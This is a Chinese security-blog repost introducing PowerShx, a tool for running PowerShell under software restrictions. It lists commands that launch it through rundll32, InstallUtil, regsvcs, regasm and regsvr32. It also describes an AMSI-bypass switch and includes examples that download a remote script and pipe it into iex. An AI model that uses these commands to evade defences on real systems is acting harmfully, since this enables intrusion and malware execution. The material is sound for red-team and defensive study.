如何使用PowerShx摆脱软件限制运行PowerShell

admin 2021年11月21日12:00:50评论104 views字数 2281阅读7分36秒阅读模式

如何使用PowerShx摆脱软件限制运行PowerShell

关于PowerShx

PowerShx是一款功能强大的PowerShell软件,在该工具的帮助下,广大研究人员可以在目标主机上摆脱任何软件的限制从而执行PowerShell代码。

PowerShx是PowerShdll项目的一个扩展项目,并且提供了AMSI绕过和运行PS Cmdlet的功能。

功能介绍

如何使用PowerShx摆脱软件限制运行PowerShell

使用exe、installuitl.exe、regsvcs.exe、regasm.exe、regsvr*32.exe来运行PowerShel;

在不需要exe或powershell_ise.exe的情况下运行PowerShell;AMSI绕过功能;

直接通过命令行工具或PowerShell文件运行PowerShell脚本;

导入PowerShell模块和执行PowerShell Cmdlet;



工具依赖

· .Net 4

工具使用

.dll版本

rundll32rundll32 PowerShx.dll,main -e                           需要运行的PS脚本rundll32 PowerShx.dll,main -f <path>                    以参数形式传递和运行脚本rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>    加载一个脚本并运行一个PS cmdletrundll32 PowerShx.dll,main -w                    在一个新的窗口中开启一个交互式终端rundll32 PowerShx.dll,main -i                            开启一个交互式终端rundll32 PowerShx.dll,main -s                           尝试绕过AMSIrundll32 PowerShx.dll,main -v                        在终端中输出执行结果
替代选项
x86 - C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll    x64 - C:WindowsMicrosoft.NETFramework64v4.0.3031964InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll    x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe PowerShx.dll    x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regsvcs.exe PowerShx.dll    x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U PowerShx.dll    x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U PowerShx.dll    regsvr*32 /s  /u PowerShx.dll -->Calls DllUnregisterServer    regsvr*32 /s PowerShx.dll --> Calls DllRegisterServer

.exe版本

PowerShx.exe -i                          开启一个交互式终端PowerShx.exe -e                         需要运行的PS脚本PowerShx.exe -f <path>                  以参数形式传递和运行脚本PowerShx.exe -f <path> -c <PS Cmdlet>     加载一个脚本并运行一个PS cmdletPowerShx.exe -s                         尝试绕过AMSI

嵌入Payload

广大研究人员可以通过更新“Common”项目中的“Common.Payloads.PayloadDict”数据目录来嵌入Payload,并在PsSession.cs -> Handle()方法中调用Payload。下面的例子中演示了如何在Handle()方法中调用Payload:

private void Handle(Options options){  // Pre-execution before user script  _ps.Exe(Payloads.PayloadDict["amsi"]);}

工具使用样例

1、运行Base64编码的脚本

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iexPowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

注意:我们需要使用[System.Text.Encoding]::Unicode对Empire Stager进行解码。

2、运行Base64编码的脚本

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
项目地址

https://github.com/iomoath/PowerShx

参考资料

https://github.com/p3nt4/PowerShdll

如何使用PowerShx摆脱软件限制运行PowerShell



精彩推荐






如何使用PowerShx摆脱软件限制运行PowerShell

如何使用PowerShx摆脱软件限制运行PowerShell如何使用PowerShx摆脱软件限制运行PowerShell如何使用PowerShx摆脱软件限制运行PowerShell如何使用PowerShx摆脱软件限制运行PowerShell

原文始发于微信公众号(FreeBuf):如何使用PowerShx摆脱软件限制运行PowerShell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月21日12:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用PowerShx摆脱软件限制运行PowerShellhttps://cn-sec.com/archives/643163.html

发表评论

匿名网友 填写信息